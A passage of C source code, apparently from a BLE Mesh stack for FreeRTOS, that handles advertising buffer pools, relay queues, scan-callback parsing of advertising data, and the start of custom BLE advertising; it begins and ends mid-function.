}\n#endif\n } else {\n bt_mesh_adv_buf_ref_debug(__func__, *buf, 1U, BLE_MESH_BUF_REF_EQUAL);\n net_buf_unref(*buf);\n }\n\n /* Give other threads a chance to run */\n taskYIELD();\n }\n}\n\nstruct net_buf *bt_mesh_adv_create_from_pool(struct net_buf_pool *pool,\n bt_mesh_adv_alloc_t get_id,\n enum bt_mesh_adv_type type,\n u8_t xmit, s32_t timeout)\n{\n struct bt_mesh_adv *adv = NULL;\n struct net_buf *buf = NULL;\n\n if (bt_mesh_atomic_test_bit(bt_mesh.flags, BLE_MESH_SUSPENDED)) {\n BT_WARN(\"Refusing to allocate buffer while suspended\");\n return NULL;\n }\n\n buf = net_buf_alloc(pool, timeout);\n if (!buf) {\n return NULL;\n }\n\n BT_DBG(\"pool %p, buf_count %d, uinit_count %d\",\n buf->pool, pool->buf_count, pool->uninit_count);\n\n adv = get_id(net_buf_id(buf));\n BLE_MESH_ADV(buf) = adv;\n\n (void)memset(adv, 0, sizeof(*adv));\n\n adv->type = type;\n adv->xmit = xmit;\n\n return buf;\n}\n\nvoid bt_mesh_unref_buf_from_pool(struct net_buf_pool *pool)\n{\n int i;\n\n if (pool == NULL) {\n BT_ERR(\"%s, Invalid parameter\", __func__);\n return;\n }\n\n for (i = 0; i < pool->buf_count; i++) {\n struct net_buf *buf = &pool->__bufs[i];\n if (buf->ref > 1U) {\n buf->ref = 1U;\n }\n net_buf_unref(buf);\n }\n}\n\nstruct net_buf *bt_mesh_adv_create(enum bt_mesh_adv_type type, u8_t xmit,\n s32_t timeout)\n{\n return bt_mesh_adv_create_from_pool(&adv_buf_pool, adv_alloc, type,\n xmit, timeout);\n}\n\nvoid bt_mesh_adv_buf_ref_debug(const char *func, struct net_buf *buf,\n u8_t ref_cmp, bt_mesh_buf_ref_flag_t flag)\n{\n if (buf == NULL || func == NULL || flag >= BLE_MESH_BUF_REF_MAX) {\n BT_ERR(\"%s, Invalid parameter\", __func__);\n return;\n }\n\n switch (flag) {\n case BLE_MESH_BUF_REF_EQUAL:\n if (buf->ref != ref_cmp) {\n BT_ERR(\"Unexpected ref %d in %s, expect to equal to %d\", buf->ref, func, ref_cmp);\n }\n break;\n case BLE_MESH_BUF_REF_SMALL:\n if (buf->ref >= ref_cmp) {\n BT_ERR(\"Unexpected ref %d in %s, expect to smaller than %d\", buf->ref, func, ref_cmp);\n }\n break;\n default:\n break;\n }\n}\n\nstatic void bt_mesh_unref_buf(bt_mesh_msg_t *msg)\n{\n struct net_buf *buf = NULL;\n\n if (msg->arg) {\n buf = (struct net_buf *)msg->arg;\n BLE_MESH_ADV(buf)->busy = 0U;\n if (buf->ref > 1U) {\n buf->ref = 1U;\n }\n net_buf_unref(buf);\n }\n\n return;\n}\n\nstatic void bt_mesh_task_post(bt_mesh_msg_t *msg, uint32_t timeout, bool front)\n{\n BT_DBG(\"%s\", __func__);\n\n if (adv_queue.handle == NULL) {\n BT_ERR(\"Invalid adv queue\");\n return;\n }\n\n if (front) {\n if (xQueueSendToFront(adv_queue.handle, msg, timeout) != pdTRUE) {\n BT_ERR(\"Failed to send item to adv queue front\");\n bt_mesh_unref_buf(msg);\n }\n } else {\n if (xQueueSend(adv_queue.handle, msg, timeout) != pdTRUE) {\n BT_ERR(\"Failed to send item to adv queue back\");\n bt_mesh_unref_buf(msg);\n }\n }\n}\n\nvoid bt_mesh_adv_send(struct net_buf *buf, const struct bt_mesh_send_cb *cb,\n void *cb_data)\n{\n bt_mesh_msg_t msg = {\n .relay = false,\n };\n\n BT_DBG(\"type 0x%02x len %u: %s\", BLE_MESH_ADV(buf)->type, buf->len,\n bt_hex(buf->data, buf->len));\n\n BLE_MESH_ADV(buf)->cb = cb;\n BLE_MESH_ADV(buf)->cb_data = cb_data;\n BLE_MESH_ADV(buf)->busy = 1U;\n\n bt_mesh_adv_buf_ref_debug(__func__, buf, 3U, BLE_MESH_BUF_REF_SMALL);\n\n msg.arg = (void *)net_buf_ref(buf);\n bt_mesh_task_post(&msg, portMAX_DELAY, false);\n}\n\nvoid bt_mesh_adv_update(void)\n{\n bt_mesh_msg_t msg = {\n .relay = false,\n .arg = NULL,\n };\n\n BT_DBG(\"%s\", __func__);\n\n bt_mesh_task_post(&msg, K_NO_WAIT, false);\n}\n\n#if defined(CONFIG_BLE_MESH_RELAY_ADV_BUF)\nstatic bool ignore_relay_packet(u32_t timestamp)\n{\n u32_t now = k_uptime_get_32();\n u32_t interval = 0U;\n\n if (now >= timestamp) {\n interval = now - timestamp;\n } else {\n interval = BLE_MESH_MAX_TIME_INTERVAL - (timestamp - now) + 1;\n }\n\n return (interval >= BLE_MESH_RELAY_TIME_INTERVAL) ? true : false;\n}\n\nstatic struct bt_mesh_adv *relay_adv_alloc(int id)\n{\n return &relay_adv_pool[id];\n}\n\nstruct net_buf *bt_mesh_relay_adv_create(enum bt_mesh_adv_type type, u8_t xmit,\n s32_t timeout)\n{\n return bt_mesh_adv_create_from_pool(&relay_adv_buf_pool, relay_adv_alloc, type,\n xmit, timeout);\n}\n\nstatic void ble_mesh_relay_task_post(bt_mesh_msg_t *msg, uint32_t timeout)\n{\n QueueSetMemberHandle_t handle = NULL;\n bt_mesh_msg_t old_msg = {0};\n\n BT_DBG(\"%s\", __func__);\n\n if (relay_queue.handle == NULL) {\n BT_ERR(\"Invalid relay queue\");\n return;\n }\n\n if (xQueueSend(relay_queue.handle, msg, timeout) == pdTRUE) {\n return;\n }\n\n /**\n * If failed to send packet to the relay queue(queue is full), we will\n * remove the oldest packet in the queue and put the new one into it.\n */\n handle = xQueueSelectFromSet(mesh_queue_set, K_NO_WAIT);\n if (handle && uxQueueMessagesWaiting(relay_queue.handle)) {\n BT_INFO(\"Full queue, remove the oldest relay packet\");\n /* Remove the oldest relay packet from queue */\n if (xQueueReceive(relay_queue.handle, &old_msg, K_NO_WAIT) != pdTRUE) {\n BT_ERR(\"Failed to remove item from queue\");\n bt_mesh_unref_buf(msg);\n return;\n }\n /* Unref buf used for the oldest relay packet */\n bt_mesh_unref_buf(&old_msg);\n /* Send the latest relay packet to queue */\n if (xQueueSend(relay_queue.handle, msg, K_NO_WAIT) != pdTRUE) {\n BT_ERR(\"Failed to send item to relay queue\");\n bt_mesh_unref_buf(msg);\n return;\n }\n } else {\n BT_WARN(\"Empty queue, but failed to send the relay packet\");\n bt_mesh_unref_buf(msg);\n }\n}\n\nvoid bt_mesh_relay_adv_send(struct net_buf *buf, const struct bt_mesh_send_cb *cb,\n void *cb_data, u16_t src, u16_t dst)\n{\n bt_mesh_msg_t msg = {\n .relay = true,\n };\n\n BT_DBG(\"type 0x%02x len %u: %s\", BLE_MESH_ADV(buf)->type, buf->len,\n bt_hex(buf->data, buf->len));\n\n BLE_MESH_ADV(buf)->cb = cb;\n BLE_MESH_ADV(buf)->cb_data = cb_data;\n BLE_MESH_ADV(buf)->busy = 1U;\n\n msg.arg = (void *)net_buf_ref(buf);\n msg.src = src;\n msg.dst = dst;\n msg.timestamp = k_uptime_get_32();\n /* Use K_NO_WAIT here, if relay_queue is full return immediately */\n ble_mesh_relay_task_post(&msg, K_NO_WAIT);\n}\n\nu16_t bt_mesh_get_stored_relay_count(void)\n{\n return (u16_t)uxQueueMessagesWaiting(relay_queue.handle);\n}\n#endif /* #if defined(CONFIG_BLE_MESH_RELAY_ADV_BUF) */\n\nconst bt_mesh_addr_t *bt_mesh_get_unprov_dev_addr(void)\n{\n return dev_addr;\n}\n\n#if (CONFIG_BLE_MESH_PROVISIONER && CONFIG_BLE_MESH_PB_GATT) || \\\n CONFIG_BLE_MESH_GATT_PROXY_CLIENT\nstatic bool adv_flags_valid(struct net_buf_simple *buf)\n{\n u8_t flags = 0U;\n\n if (buf->len != 1U) {\n BT_DBG(\"Unexpected adv flags length %d\", buf->len);\n return false;\n }\n\n flags = net_buf_simple_pull_u8(buf);\n\n BT_DBG(\"Received adv pkt with flags: 0x%02x\", flags);\n\n /* Flags context will not be checked currently */\n ((void) flags);\n\n return true;\n}\n\nstatic bool adv_service_uuid_valid(struct net_buf_simple *buf, u16_t *uuid)\n{\n if (buf->len != 2U) {\n BT_DBG(\"Length not match mesh service uuid\");\n return false;\n }\n\n *uuid = net_buf_simple_pull_le16(buf);\n\n BT_DBG(\"Received adv pkt with service UUID: %d\", *uuid);\n\n if (*uuid != BLE_MESH_UUID_MESH_PROV_VAL &&\n *uuid != BLE_MESH_UUID_MESH_PROXY_VAL) {\n return false;\n }\n\n if (*uuid == BLE_MESH_UUID_MESH_PROV_VAL &&\n bt_mesh_is_provisioner_en() == false) {\n return false;\n }\n\n if (*uuid == BLE_MESH_UUID_MESH_PROXY_VAL &&\n !IS_ENABLED(CONFIG_BLE_MESH_GATT_PROXY_CLIENT)) {\n return false;\n }\n\n return true;\n}\n\n#define BLE_MESH_PROV_SRV_DATA_LEN 0x12\n#define BLE_MESH_PROXY_SRV_DATA_LEN1 0x09\n#define BLE_MESH_PROXY_SRV_DATA_LEN2 0x11\n\nstatic void handle_adv_service_data(struct net_buf_simple *buf,\n const bt_mesh_addr_t *addr,\n u16_t uuid, s8_t rssi)\n{\n u16_t type = 0U;\n\n if (!buf || !addr) {\n BT_ERR(\"%s, Invalid parameter\", __func__);\n return;\n }\n\n type = net_buf_simple_pull_le16(buf);\n if (type != uuid) {\n BT_DBG(\"Invalid Mesh Service Data UUID 0x%04x\", type);\n return;\n }\n\n switch (type) {\n#if CONFIG_BLE_MESH_PROVISIONER && CONFIG_BLE_MESH_PB_GATT\n case BLE_MESH_UUID_MESH_PROV_VAL:\n if (bt_mesh_is_provisioner_en()) {\n if (buf->len != BLE_MESH_PROV_SRV_DATA_LEN) {\n BT_WARN(\"Invalid Mesh Prov Service Data length %d\", buf->len);\n return;\n }\n\n BT_DBG(\"Start to handle Mesh Prov Service Data\");\n bt_mesh_provisioner_prov_adv_recv(buf, addr, rssi);\n }\n break;\n#endif\n#if CONFIG_BLE_MESH_GATT_PROXY_CLIENT\n case BLE_MESH_UUID_MESH_PROXY_VAL:\n if (buf->len != BLE_MESH_PROXY_SRV_DATA_LEN1 &&\n buf->len != BLE_MESH_PROXY_SRV_DATA_LEN2) {\n BT_WARN(\"Invalid Mesh Proxy Service Data length %d\", buf->len);\n return;\n }\n\n BT_DBG(\"Start to handle Mesh Proxy Service Data\");\n bt_mesh_proxy_client_gatt_adv_recv(buf, addr, rssi);\n break;\n#endif\n default:\n break;\n }\n}\n#endif\n\nstatic void bt_mesh_scan_cb(const bt_mesh_addr_t *addr, s8_t rssi,\n u8_t adv_type, struct net_buf_simple *buf)\n{\n#if (CONFIG_BLE_MESH_PROVISIONER && CONFIG_BLE_MESH_PB_GATT) || \\\n CONFIG_BLE_MESH_GATT_PROXY_CLIENT\n u16_t uuid = 0U;\n#endif\n\n if (adv_type != BLE_MESH_ADV_NONCONN_IND && adv_type != BLE_MESH_ADV_IND) {\n return;\n }\n\n BT_DBG(\"scan, len %u: %s\", buf->len, bt_hex(buf->data, buf->len));\n\n dev_addr = addr;\n\n while (buf->len > 1) {\n struct net_buf_simple_state state;\n u8_t len, type;\n\n len = net_buf_simple_pull_u8(buf);\n /* Check for early termination */\n if (len == 0U) {\n return;\n }\n\n if (len > buf->len) {\n BT_WARN(\"AD malformed\");\n return;\n }\n\n net_buf_simple_save(buf, &state);\n\n type = net_buf_simple_pull_u8(buf);\n\n buf->len = len - 1;\n\n#if 0\n /* TODO: Check with BLE Mesh BQB test cases */\n if ((type == BLE_MESH_DATA_MESH_PROV || type == BLE_MESH_DATA_MESH_MESSAGE ||\n type == BLE_MESH_DATA_MESH_BEACON) && (adv_type != BLE_MESH_ADV_NONCONN_IND)) {\n BT_DBG(\"%s, ignore BLE Mesh packet (type 0x%02x) with adv_type 0x%02x\",\n __func__, type, adv_type);\n return;\n }\n#endif\n\n switch (type) {\n case BLE_MESH_DATA_MESH_MESSAGE:\n bt_mesh_net_recv(buf, rssi, BLE_MESH_NET_IF_ADV);\n break;\n#if CONFIG_BLE_MESH_PB_ADV\n case BLE_MESH_DATA_MESH_PROV:\n if (IS_ENABLED(CONFIG_BLE_MESH_NODE) && bt_mesh_is_node()) {\n bt_mesh_pb_adv_recv(buf);\n }\n if (IS_ENABLED(CONFIG_BLE_MESH_PROVISIONER) && bt_mesh_is_provisioner_en()) {\n bt_mesh_provisioner_pb_adv_recv(buf);\n }\n break;\n#endif /* CONFIG_BLE_MESH_PB_ADV */\n case BLE_MESH_DATA_MESH_BEACON:\n bt_mesh_beacon_recv(buf, rssi);\n break;\n#if (CONFIG_BLE_MESH_PROVISIONER && CONFIG_BLE_MESH_PB_GATT) || \\\n CONFIG_BLE_MESH_GATT_PROXY_CLIENT\n case BLE_MESH_DATA_FLAGS:\n if (!adv_flags_valid(buf)) {\n BT_DBG(\"Adv Flags mismatch, ignore this adv pkt\");\n return;\n }\n break;\n case BLE_MESH_DATA_UUID16_ALL:\n if (!adv_service_uuid_valid(buf, &uuid)) {\n BT_DBG(\"Adv Service UUID mismatch, ignore this adv pkt\");\n return;\n }\n break;\n case BLE_MESH_DATA_SVC_DATA16:\n handle_adv_service_data(buf, addr, uuid, rssi);\n break;\n#endif\n default:\n break;\n }\n\n net_buf_simple_restore(buf, &state);\n net_buf_simple_pull(buf, len);\n }\n\n return;\n}\n\nvoid bt_mesh_adv_init(void)\n{\n#if !CONFIG_BLE_MESH_FREERTOS_STATIC_ALLOC\n adv_queue.handle = xQueueCreate(BLE_MESH_ADV_QUEUE_SIZE, sizeof(bt_mesh_msg_t));\n __ASSERT(adv_queue.handle, \"Failed to create queue\");\n#else /* !CONFIG_BLE_MESH_FREERTOS_STATIC_ALLOC */\n#if CONFIG_BLE_MESH_FREERTOS_STATIC_ALLOC_EXTERNAL\n adv_queue.buffer = heap_caps_calloc_prefer(1, sizeof(StaticQueue_t), 2, MALLOC_CAP_SPIRAM|MALLOC_CAP_8BIT, MALLOC_CAP_INTERNAL|MALLOC_CAP_8BIT);\n#elif CONFIG_BLE_MESH_FREERTOS_STATIC_ALLOC_IRAM_8BIT\n adv_queue.buffer = heap_caps_calloc_prefer(1, sizeof(StaticQueue_t), 2, MALLOC_CAP_INTERNAL|MALLOC_CAP_IRAM_8BIT, MALLOC_CAP_INTERNAL|MALLOC_CAP_8BIT);\n#endif\n __ASSERT(adv_queue.buffer, \"Failed to create queue buffer\");\n#if CONFIG_BLE_MESH_FREERTOS_STATIC_ALLOC_EXTERNAL\n adv_queue.storage = heap_caps_calloc_prefer(1, (BLE_MESH_ADV_QUEUE_SIZE * sizeof(bt_mesh_msg_t)), 2, MALLOC_CAP_SPIRAM|MALLOC_CAP_8BIT, MALLOC_CAP_INTERNAL|MALLOC_CAP_8BIT);\n#elif CONFIG_BLE_MESH_FREERTOS_STATIC_ALLOC_IRAM_8BIT\n adv_queue.storage = heap_caps_calloc_prefer(1, (BLE_MESH_ADV_QUEUE_SIZE * sizeof(bt_mesh_msg_t)), 2, MALLOC_CAP_INTERNAL|MALLOC_CAP_IRAM_8BIT, MALLOC_CAP_INTERNAL|MALLOC_CAP_8BIT);\n#endif\n __ASSERT(adv_queue.storage, \"Failed to create queue storage\");\n adv_queue.handle = xQueueCreateStatic(BLE_MESH_ADV_QUEUE_SIZE, sizeof(bt_mesh_msg_t), (uint8_t*)adv_queue.storage, adv_queue.buffer);\n __ASSERT(adv_queue.handle, \"Failed to create static queue\");\n#endif /* !CONFIG_BLE_MESH_FREERTOS_STATIC_ALLOC */\n\n#if defined(CONFIG_BLE_MESH_RELAY_ADV_BUF)\n#if !CONFIG_BLE_MESH_FREERTOS_STATIC_ALLOC\n relay_queue.handle = xQueueCreate(BLE_MESH_RELAY_QUEUE_SIZE, sizeof(bt_mesh_msg_t));\n __ASSERT(relay_queue.handle, \"Failed to create relay queue\");\n#else /* !CONFIG_BLE_MESH_FREERTOS_STATIC_ALLOC */\n#if CONFIG_BLE_MESH_FREERTOS_STATIC_ALLOC_EXTERNAL\n relay_queue.buffer = heap_caps_calloc_prefer(1, sizeof(StaticQueue_t), 2, MALLOC_CAP_SPIRAM|MALLOC_CAP_8BIT, MALLOC_CAP_INTERNAL|MALLOC_CAP_8BIT);\n#elif CONFIG_BLE_MESH_FREERTOS_STATIC_ALLOC_IRAM_8BIT\n relay_queue.buffer = heap_caps_calloc_prefer(1, sizeof(StaticQueue_t), 2, MALLOC_CAP_INTERNAL|MALLOC_CAP_IRAM_8BIT, MALLOC_CAP_INTERNAL|MALLOC_CAP_8BIT);\n#endif\n __ASSERT(relay_queue.buffer, \"Failed to create relay queue buffer\");\n#if CONFIG_BLE_MESH_FREERTOS_STATIC_ALLOC_EXTERNAL\n relay_queue.storage = heap_caps_calloc_prefer(1, (BLE_MESH_RELAY_QUEUE_SIZE * sizeof(bt_mesh_msg_t)), 2, MALLOC_CAP_SPIRAM|MALLOC_CAP_8BIT, MALLOC_CAP_INTERNAL|MALLOC_CAP_8BIT);\n#elif CONFIG_BLE_MESH_FREERTOS_STATIC_ALLOC_IRAM_8BIT\n relay_queue.storage = heap_caps_calloc_prefer(1, (BLE_MESH_RELAY_QUEUE_SIZE * sizeof(bt_mesh_msg_t)), 2, MALLOC_CAP_INTERNAL|MALLOC_CAP_IRAM_8BIT, MALLOC_CAP_INTERNAL|MALLOC_CAP_8BIT);\n#endif\n __ASSERT(relay_queue.storage, \"Failed to create relay queue storage\");\n relay_queue.handle = xQueueCreateStatic(BLE_MESH_RELAY_QUEUE_SIZE, sizeof(bt_mesh_msg_t), (uint8_t*)relay_queue.storage, relay_queue.buffer);\n __ASSERT(relay_queue.handle, \"Failed to create static relay queue\");\n#endif /* !CONFIG_BLE_MESH_FREERTOS_STATIC_ALLOC */\n\n mesh_queue_set = xQueueCreateSet(BLE_MESH_QUEUE_SET_SIZE);\n __ASSERT(mesh_queue_set, \"Failed to create queue set\");\n xQueueAddToSet(adv_queue.handle, mesh_queue_set);\n xQueueAddToSet(relay_queue.handle, mesh_queue_set);\n#endif /* defined(CONFIG_BLE_MESH_RELAY_ADV_BUF) */\n\n#if (CONFIG_BLE_MESH_FREERTOS_STATIC_ALLOC_EXTERNAL && \\\n CONFIG_SPIRAM_CACHE_WORKAROUND && \\\n CONFIG_SPIRAM_ALLOW_STACK_EXTERNAL_MEMORY)\n adv_task.task = heap_caps_calloc(1, sizeof(StaticTask_t), MALLOC_CAP_INTERNAL|MALLOC_CAP_8BIT);\n __ASSERT(adv_task.task, \"Failed to create adv thread task\");\n adv_task.stack = heap_caps_calloc_prefer(1, BLE_MESH_ADV_TASK_STACK_SIZE * sizeof(StackType_t), 2, MALLOC_CAP_SPIRAM|MALLOC_CAP_8BIT, MALLOC_CAP_INTERNAL|MALLOC_CAP_8BIT);\n __ASSERT(adv_task.stack, \"Failed to create adv thread stack\");\n adv_task.handle = xTaskCreateStaticPinnedToCore(adv_thread, BLE_MESH_ADV_TASK_NAME, BLE_MESH_ADV_TASK_STACK_SIZE, NULL,\n BLE_MESH_ADV_TASK_PRIO, adv_task.stack, adv_task.task, BLE_MESH_ADV_TASK_CORE);\n __ASSERT(adv_task.handle, \"Failed to create static adv thread\");\n#else /* CONFIG_BLE_MESH_FREERTOS_STATIC_ALLOC_EXTERNAL && CONFIG_SPIRAM_CACHE_WORKAROUND && CONFIG_SPIRAM_ALLOW_STACK_EXTERNAL_MEMORY */\n int ret = xTaskCreatePinnedToCore(adv_thread, BLE_MESH_ADV_TASK_NAME, BLE_MESH_ADV_TASK_STACK_SIZE, NULL,\n BLE_MESH_ADV_TASK_PRIO, &adv_task.handle, BLE_MESH_ADV_TASK_CORE);\n __ASSERT(ret == pdTRUE, \"Failed to create adv thread\");\n#endif /* CONFIG_BLE_MESH_FREERTOS_STATIC_ALLOC_EXTERNAL && CONFIG_SPIRAM_CACHE_WORKAROUND && CONFIG_SPIRAM_ALLOW_STACK_EXTERNAL_MEMORY */\n}\n\nvoid bt_mesh_adv_deinit(void)\n{\n if (adv_queue.handle == NULL) {\n return;\n }\n\n vTaskDelete(adv_task.handle);\n adv_task.handle = NULL;\n#if (CONFIG_BLE_MESH_FREERTOS_STATIC_ALLOC_EXTERNAL && \\\n CONFIG_SPIRAM_CACHE_WORKAROUND && \\\n CONFIG_SPIRAM_ALLOW_STACK_EXTERNAL_MEMORY)\n heap_caps_free(adv_task.stack);\n adv_task.stack = NULL;\n heap_caps_free(adv_task.task);\n adv_task.task = NULL;\n#endif\n\n#if defined(CONFIG_BLE_MESH_RELAY_ADV_BUF)\n xQueueRemoveFromSet(adv_queue.handle, mesh_queue_set);\n xQueueRemoveFromSet(relay_queue.handle, mesh_queue_set);\n\n vQueueDelete(relay_queue.handle);\n relay_queue.handle = NULL;\n#if CONFIG_BLE_MESH_FREERTOS_STATIC_ALLOC\n heap_caps_free(relay_queue.buffer);\n relay_queue.buffer = NULL;\n heap_caps_free(relay_queue.storage);\n relay_queue.storage = NULL;\n#endif\n\n bt_mesh_unref_buf_from_pool(&relay_adv_buf_pool);\n memset(relay_adv_pool, 0, sizeof(relay_adv_pool));\n\n vQueueDelete(mesh_queue_set);\n mesh_queue_set = NULL;\n#endif /* defined(CONFIG_BLE_MESH_RELAY_ADV_BUF) */\n\n vQueueDelete(adv_queue.handle);\n adv_queue.handle = NULL;\n#if CONFIG_BLE_MESH_FREERTOS_STATIC_ALLOC\n heap_caps_free(adv_queue.buffer);\n adv_queue.buffer = NULL;\n heap_caps_free(adv_queue.storage);\n adv_queue.storage = NULL;\n#endif\n\n bt_mesh_unref_buf_from_pool(&adv_buf_pool);\n memset(adv_pool, 0, sizeof(adv_pool));\n\n#if CONFIG_BLE_MESH_SUPPORT_BLE_ADV\n bt_mesh_ble_adv_deinit();\n#endif\n}\n\nint bt_mesh_scan_enable(void)\n{\n int err = 0;\n\n struct bt_mesh_scan_param scan_param = {\n .type = BLE_MESH_SCAN_PASSIVE,\n#if defined(CONFIG_BLE_MESH_USE_DUPLICATE_SCAN)\n .filter_dup = BLE_MESH_SCAN_FILTER_DUP_ENABLE,\n#else\n .filter_dup = BLE_MESH_SCAN_FILTER_DUP_DISABLE,\n#endif\n .interval = MESH_SCAN_INTERVAL,\n .window = MESH_SCAN_WINDOW,\n .scan_fil_policy = BLE_MESH_SP_ADV_ALL,\n };\n\n BT_DBG(\"%s\", __func__);\n\n err = bt_le_scan_start(&scan_param, bt_mesh_scan_cb);\n if (err && err != -EALREADY) {\n BT_ERR(\"starting scan failed (err %d)\", err);\n return err;\n }\n\n return 0;\n}\n\nint bt_mesh_scan_disable(void)\n{\n int err = 0;\n\n BT_DBG(\"%s\", __func__);\n\n err = bt_le_scan_stop();\n if (err && err != -EALREADY) {\n BT_ERR(\"stopping scan failed (err %d)\", err);\n return err;\n }\n\n return 0;\n}\n\n#if CONFIG_BLE_MESH_TEST_USE_WHITE_LIST\nint bt_mesh_scan_with_wl_enable(void)\n{\n int err = 0;\n\n struct bt_mesh_scan_param scan_param = {\n .type = BLE_MESH_SCAN_PASSIVE,\n#if defined(CONFIG_BLE_MESH_USE_DUPLICATE_SCAN)\n .filter_dup = BLE_MESH_SCAN_FILTER_DUP_ENABLE,\n#else\n .filter_dup = BLE_MESH_SCAN_FILTER_DUP_DISABLE,\n#endif\n .interval = MESH_SCAN_INTERVAL,\n .window = MESH_SCAN_WINDOW,\n .scan_fil_policy = BLE_MESH_SP_ADV_WL,\n };\n\n BT_DBG(\"%s\", __func__);\n\n err = bt_le_scan_start(&scan_param, bt_mesh_scan_cb);\n if (err && err != -EALREADY) {\n BT_ERR(\"starting scan failed (err %d)\", err);\n return err;\n }\n\n return 0;\n}\n#endif /* CONFIG_BLE_MESH_TEST_USE_WHITE_LIST */\n\n#if CONFIG_BLE_MESH_SUPPORT_BLE_ADV\nstatic struct bt_mesh_adv *ble_adv_alloc(int id)\n{\n return &ble_adv_pool[id];\n}\n\nstatic struct net_buf *bt_mesh_ble_adv_create(enum bt_mesh_adv_type type, u8_t xmit, s32_t timeout)\n{\n return bt_mesh_adv_create_from_pool(&ble_adv_buf_pool, ble_adv_alloc, type,\n xmit, timeout);\n}\n\nstatic void bt_mesh_ble_adv_send(struct net_buf *buf, const struct bt_mesh_send_cb *cb,\n void *cb_data, bool front)\n{\n bt_mesh_msg_t msg = {\n .relay = false,\n };\n\n BT_DBG(\"type 0x%02x len %u: %s\", BLE_MESH_ADV(buf)->type, buf->len,\n bt_hex(buf->data, buf->len));\n\n BLE_MESH_ADV(buf)->cb = cb;\n BLE_MESH_ADV(buf)->cb_data = cb_data;\n BLE_MESH_ADV(buf)->busy = 1U;\n\n bt_mesh_adv_buf_ref_debug(__func__, buf, 3U, BLE_MESH_BUF_REF_SMALL);\n\n msg.arg = (void *)net_buf_ref(buf);\n bt_mesh_task_post(&msg, portMAX_DELAY, front);\n}\n\nstatic void ble_adv_tx_reset(struct ble_adv_tx *tx, bool unref)\n{\n if (tx->buf == NULL) {\n return;\n }\n\n if (bt_mesh_atomic_test_bit(tx->flags, TIMER_INIT)) {\n k_delayed_work_free(&tx->resend);\n }\n bt_mesh_atomic_set(tx->flags, 0);\n memset(&tx->param, 0, sizeof(tx->param));\n BLE_MESH_ADV(tx->buf)->busy = 0U;\n if (unref) {\n net_buf_unref(tx->buf);\n }\n tx->buf = NULL;\n}\n\nstatic void ble_adv_send_start(u16_t duration, int err, void *cb_data)\n{\n struct ble_adv_tx *tx = cb_data;\n\n BT_DBG(\"%s, duration %d, err %d\", __func__, duration, err);\n\n /* If failed to send BLE adv packet, and param->count is not 0\n * which means the timer has been initialized, here we need to\n * free the timer.\n */\n if (err) {\n ble_adv_tx_reset(tx, true);\n }\n}\n\nstatic void ble_adv_send_end(int err, void *cb_data)\n{\n struct ble_adv_tx *tx = cb_data;\n\n BT_DBG(\"%s, err %d\", __func__, err);\n\n if (err) {\n ble_adv_tx_reset(tx, true);\n return;\n }\n\n if (tx->param.count) {\n if (tx->param.period) {\n k_delayed_work_submit(&tx->resend, tx->param.period);\n } else {\n k_work_submit(&tx->resend.work);\n }\n } else {\n ble_adv_tx_reset(tx, true);\n }\n}\n\nstatic struct bt_mesh_send_cb ble_adv_send_cb = {\n .start = ble_adv_send_start,\n .end = ble_adv_send_end,\n};\n\nstatic void ble_adv_resend(struct k_work *work)\n{\n struct ble_adv_tx *tx = CONTAINER_OF(work, struct ble_adv_tx, resend.work);\n bool front = false;\n\n if (tx->buf == NULL) {\n /* The advertising has been cancelled */\n return;\n }\n\n front = (tx->param.priority == BLE_MESH_BLE_ADV_PRIO_HIGH) ? true : false;\n bt_mesh_ble_adv_send(tx->buf, &ble_adv_send_cb, tx, front);\n\n if (tx->param.count == SEND_BLE_ADV_INFINITE) {\n /* Send the BLE advertising packet infinitely */\n return;\n }\n\n if (tx->param.count > 0U) {\n tx->param.count--;\n }\n}\n\nint bt_mesh_start_ble_advertising(const struct bt_mesh_ble_adv_param *param,\n const struct bt_mesh_ble_adv_data *data, u8_t *index)\n{\n struct ble_adv_tx *tx = NULL;\n struct net_buf *buf = NULL;\n bool front = false;\n\n if (param == NULL || index == NULL) {\n BT_ERR(\"%s, Invalid parameter\", __func__);\n return -EINVAL;\n }\n\n if (param->adv_type != BLE_MESH_ADV_DIRECT_IND &&\n (param->interval < 0x20 || param->interval > 0x4000)) {\n BT_ERR(\"Invalid adv interval 0x%04x\", param->interval);\n return -EINVAL;\n }\n\n if (param->adv_type > BLE_MESH_ADV_DIRECT_IND_LOW_DUTY) {\n BT_ERR(\"Invalid adv type 0x%02x\", param->adv_type);\n return -EINVAL;\n }\n\n if (param->own_addr_type > BLE_MESH_ADDR_RANDOM_ID) {\n BT_ERR(\"Invalid own addr type 0x%02x\", param->own_addr_type);\n return -EINVAL;\n }\n\n if ((param->own_addr_type == BLE_MESH_ADDR_PUBLIC_ID ||\n param->own_addr_type == BLE_MESH_ADDR_RANDOM_ID ||\n param->adv_type == BLE_MESH_ADV_DIRECT_IND ||\n param->adv_type == BLE_MESH_ADV_DIRECT_IND_LOW_DUTY) &&\n param->peer_addr_type > BLE_MESH_ADDR_RANDOM) {\n BT_ERR(\"Invalid peer addr type 0x%02x\", param->peer_addr_type);\n return -EINVAL;\n }\n\n if (data && (data->adv_data_len > 31 || data->scan_rsp_data_len > 31)) {\n BT_ERR(\"Invalid adv data length (adv %d, scan rsp %d)\",\n data->adv_data_len, data->scan_rsp_data_len);\n return -EINVAL;\n }\n\n if (param->priority > BLE_MESH_BLE_ADV_PRIO_HIGH) {\n BT_ERR(\"Invalid adv priority %d\", param->priority);\n return -EINVAL;\n }\n\n if (param->duration < ADV_SCAN_INT(param->interval)) {\n BT_ERR(\"Too small duration %dms\", param->duration);\n return -EINVAL;\n }\n\n buf = bt_mesh_ble_adv_create(BLE_MESH_ADV_BLE, 0U, K_NO_WAIT);\n if (!buf) {\n BT_ERR(\"Unable to allocate buffer\");\n return -ENOBUFS;\n }\n\n /* Set advertising data and scan response data */\n memset(buf->data, 0, buf->size);\n if (data) {\n net_buf_add_u8(buf, data->adv_data_len);\n if (data->adv_data_len) {\n net_buf_add_mem(buf, data->adv_data, data->adv_data_len);\n }\n net_buf_add_u8(buf, data->scan_rsp_data_len);\n if (data->scan_rsp_data_len) {\n net_buf_add_mem(buf, data->scan_rsp_data, data->scan_rsp_data_len);\n }\n }\n\n *index = net_buf_id(buf);\n tx = &ble_adv_tx[*index];\n tx->buf = buf;\n memcpy(&tx->param, param, sizeof(tx->param));\n\n front = (tx->param.priority == BLE_MESH_BLE_ADV_PRIO_HIGH) ? true : false;\n bt_mesh_ble_adv_send(buf, &ble_adv_send_cb, tx, front);\n if (param->count) {\n if (k_delayed_work_init(&tx->resend, ble_adv_resend)) {\n /* If failed to create a timer, the BLE adv packet will be\n * sent only once. Just give a warning here, and since the\n 